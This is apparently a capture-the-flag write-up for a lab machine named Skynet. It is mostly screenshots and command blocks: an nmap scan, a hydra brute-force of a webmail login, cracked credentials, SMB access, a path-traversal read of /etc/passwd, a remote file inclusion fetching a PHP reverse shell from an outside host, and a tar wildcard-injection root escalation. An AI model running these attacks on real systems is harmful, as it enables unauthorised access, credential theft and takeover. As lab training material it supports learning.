---
description: March 25, 2024
---

# Skynet

```
# Nmap 7.94 scan initiated Mon Mar 25 14:45:05 2024 as: nmap -sC -sV -v -oN nmap 10.10.101.134
Nmap scan report for 10.10.101.134
Host is up (0.31s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT    STATE SERVICE                                              VERSION
22/tcp  open  ssh                                                  OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_  256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp  open  http                                                 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open  pop3                                                 Dovecot pop3d
|_pop3-capabilities: TOP SASL CAPA AUTH-RESP-CODE PIPELINING UIDL RESP-CODES
139/tcp open  netbios-ssn                                          Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap                                                 Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS IDLE have SASL-IR more listed post-login ID OK IMAP4rev1 ENABLE LITERAL+ LOGINDISABLEDA0001 capabilities Pre-login
445/tcp open  W/5UjDumVQ7zIyWdstNAm+lkpZ23Iz3t8joaLcfs8nYCpMGa/xk= Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m23s, deviation: 2h53m13s, median: 22s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: skynet
|   NetBIOS computer name: SKYNET\x00
|   Domain name: \x00
|   FQDN: skynet
|_  System time: 2024-03-25T01:46:20-05:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-03-25T06:46:20
|_  start_date: N/A
| nbstat: NetBIOS name: SKYNET, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   SKYNET<00>           Flags: <unique><active>
|   SKYNET<03>           Flags: <unique><active>
|   SKYNET<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 25 14:46:09 2024 -- 1 IP address (1 host up) scanned in 63.26 seconds
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FJdoH7jgw5sDB6r2x75Fl%2Fimage.png?alt=media&#x26;token=768c4ad6-a20d-4ffa-aba2-9568ae1ed447" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fvc0Xot0ZqQpTq3vVAIKd%2Fimage.png?alt=media&#x26;token=9a720678-e094-42a2-990b-80ea6a422e60" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F1fxszzKTEPPRHAM0Wx0O%2Fimage.png?alt=media&#x26;token=a1d6ec2a-06db-4aec-9815-5144542d80f5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FR2yxozoS7V9W1Qbhqz9R%2Fimage.png?alt=media&#x26;token=17163ce3-435a-4933-bf57-42e6aa77ac11" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FVaea2qQ3bGQEy43JnSZl%2Fimage.png?alt=media&#x26;token=9f570120-7751-41ab-8212-355d114bee8c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FcV3Oq4lr8cWaeRShtZGJ%2Fimage.png?alt=media&#x26;token=e3ee3975-9c51-48c0-b189-7877a214ce76" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FE7b1Gnkrdxm58IJTRYaV%2Fimage.png?alt=media&#x26;token=1b6403f0-75a5-4a83-a69f-5575a58e23f0" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}
```
hydra -l milesdyson -P log1.txt 10.10.101.134 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown user or password incorrect."
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FRJu5qXexB5HHwNakBiTH%2Fimage.png?alt=media&#x26;token=f622184c-104e-4ef6-8b7b-acc46cb8ea97" alt=""><figcaption></figcaption></figure>

```
milesdyson:cyborg007haloterminator
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Frjris09GOdSBkOzIYfXt%2Fimage.png?alt=media&#x26;token=2c310e33-ce59-4be7-9de9-3359a72a4faa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FrdRSOS4kogDr2M4xlakz%2Fimage.png?alt=media&#x26;token=658e913f-e5a0-4677-8c23-158dd89936ae" alt=""><figcaption></figcaption></figure>

```
)s{A&2Z=F^n_E.B`
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FWmRn3yycNdg6jE2SgckP%2Fimage.png?alt=media&#x26;token=a6f7e37a-ac43-4a44-874d-29df9ac2c9bf" alt=""><figcaption></figcaption></figure>

```
balls have zero to me to me to me to me to me to me to me to me to
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FQdQkfTYeZQJPZgz1lROQ%2Fimage.png?alt=media&#x26;token=c1eaf9b5-0620-4a7c-b435-22687dd3a48a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FgrhHnOf2enz8LqfLs24F%2Fimage.png?alt=media&#x26;token=21786d32-e7b8-403c-a390-dc50ce003171" alt=""><figcaption></figcaption></figure>

```
smbclient -U milesdyson \\\\10.10.161.54\\milesdyson
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FNTGRvarhzbTD3OHqERMX%2Fimage.png?alt=media&#x26;token=87f2aba6-601c-4a25-bf40-03945cbd5f2d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FS32khp6ag925VLjC55K8%2Fimage.png?alt=media&#x26;token=51614248-84b7-4afe-8645-12e7e9801a1f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FWNvYMGKsFdJJ5KwSL1VT%2Fimage.png?alt=media&#x26;token=a394ae98-524e-4450-a04b-e45a8368450d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FLMzWVVxNsrmSNbr2anqB%2Fimage.png?alt=media&#x26;token=f5d308e9-1dc1-454a-9c86-67ef6f2ff9f4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FasPVASDTL1o7Eg6mEq0w%2Fimage.png?alt=media&#x26;token=f6d64268-dcc7-4d82-8a94-dee16b7074f5" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}
```
http://10.10.161.54/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FFLRBatIDJbeV9jKecGsL%2Fimage.png?alt=media&#x26;token=cfde103b-5dc7-4156-af69-431acafe30b0" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}
```
http://10.10.161.54/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.9.193.229:8000/php-reverse-shell.php
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FybDcOUTA45DM7w9zr7IJ%2Fimage.png?alt=media&#x26;token=9c69d292-17a9-4315-aa3a-3326ec54d9df" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FG6XeipVZdLMfCsc4iRrW%2Fimage.png?alt=media&#x26;token=d4b85726-04c0-4793-9419-b028ac542fe6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F86TaBI5RcwLi9dl4uBRh%2Fimage.png?alt=media&#x26;token=7feb42cf-7f78-42fc-8094-2a94d0580105" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FMCdNryBwP5eip6Qqi1KI%2Fimage.png?alt=media&#x26;token=3b2e1bca-fca8-47f7-8c78-f947cc016c17" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fkyle659jMPQ6iwTGJDkL%2Fimage.png?alt=media&#x26;token=b1eac6e3-c8e8-48a6-b243-014590b663ee" alt=""><figcaption></figcaption></figure>

```
printf '#!/bin/bash\n chmod +s /bin/bash' > shell.sh
touch /var/www/html/--checkpoint=1
touch /var/www/html/--checkpoint-action=exec=bash\ shell.sh
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FvbAEoF3qvcbhraBBnwP6%2Fimage.png?alt=media&#x26;token=dde48221-b13e-40f0-8dd9-8ce73a60a209" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FcJRQfVCwh2EMSY9PgUUK%2Fimage.png?alt=media&#x26;token=58721308-b774-4b1e-bba5-26b9cd87d06d" alt=""><figcaption></figcaption></figure>
